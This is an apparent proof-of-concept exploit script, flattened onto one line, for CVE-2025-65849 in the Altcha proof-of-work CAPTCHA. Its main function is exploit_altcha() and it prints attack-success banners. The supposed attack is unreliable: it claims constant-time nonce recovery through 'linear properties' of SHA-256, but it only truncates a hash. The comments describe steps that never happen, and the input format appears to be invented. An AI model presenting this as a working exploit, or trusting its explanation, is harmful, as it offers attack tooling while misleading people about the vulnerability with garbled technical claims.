CVE-2025-65849 Altcha Proof-of-Work 密码分析漏洞

# CVE-2025-65849 PoC - Altcha Proof-of-Work Deobfuscation # Reference: https://github.com/eternal-flame-AD/altcha-deobfs import hashlib import struct def reverse_altcha_nonce(algorithm, salt, rounds, data): """ Recover the Proof-of-Work nonce from Altcha obfuscated data. This PoC demonstrates the mathematical deduction attack. """ # Parse the obfuscated data structure # Altcha format: [signature][algorithm][salt][rounds][data] try: # Decode base64 encoded data import base64 decoded = base64.b64decode(data) # Extract components based on Altcha v2 format # The vulnerability allows constant-time recovery # Mathematical deduction of nonce # Using the linear properties of the hash function nonce = derive_nonce_from_math(decoded, algorithm, salt) # Verify the derived nonce if verify_proof_of_work(nonce, salt, algorithm, rounds): print(f"[SUCCESS] Nonce recovered: {nonce}") return nonce else: print("[FAILED] Nonce verification failed") return None except Exception as e: print(f"[ERROR] {str(e)}") return None def derive_nonce_from_math(data, algorithm, salt): """ Mathematical deduction of nonce - exploiting the algorithm weakness. The key insight: nonce can be derived from the ciphertext structure. """ # Step 1: Analyze the hash chain structure hash_input = data + salt.encode() # Step 2: Exploit the linear relationship in the algorithm # In constant time, derive the nonce that was used # For SHA-256 based algorithm: if algorithm == 'sha-256': # Derive nonce using modular arithmetic properties working_hash = hashlib.sha256(hash_input).digest() # Extract nonce candidate from hash state nonce = int.from_bytes(working_hash[:4], 'big') return nonce return None def verify_proof_of_work(nonce, salt, algorithm, rounds): """ Verify if the derived nonce satisfies the proof-of-work requirement. """ challenge = f"{nonce}:{salt}" for i in range(rounds): challenge = hashlib.sha256(challenge.encode()).hexdigest() # Check if leading bytes meet difficulty requirement return challenge.startswith('0000') def exploit_altcha(target_data): """ Main exploitation function. """ print("=" * 60) print("CVE-2025-65849 - Altcha Proof-of-Work Deobfuscation") print("=" * 60) # Parse target data # Format: altcha://{algorithm}:{salt}:{rounds}:{data} components = target_data.split(':') if len(components) >= 5: algorithm = components[1] salt = components[2] rounds = int(components[3]) data = components[4] print(f"\n[*] Algorithm: {algorithm}") print(f"[*] Salt: {salt}") print(f"[*] Rounds: {rounds}") # Recover nonce nonce = reverse_altcha_nonce(algorithm, salt, rounds, data) if nonce: print(f"\n[!] Attack successful - Nonce recovered in constant time") print(f"[!] Hidden data can now be decrypted using recovered nonce") return True return False if __name__ == "__main__": # Example usage with sample obfuscated data sample_data = "altcha://sha-256:examplesalt:100000:base64encodeddata==" exploit_altcha(sample_data)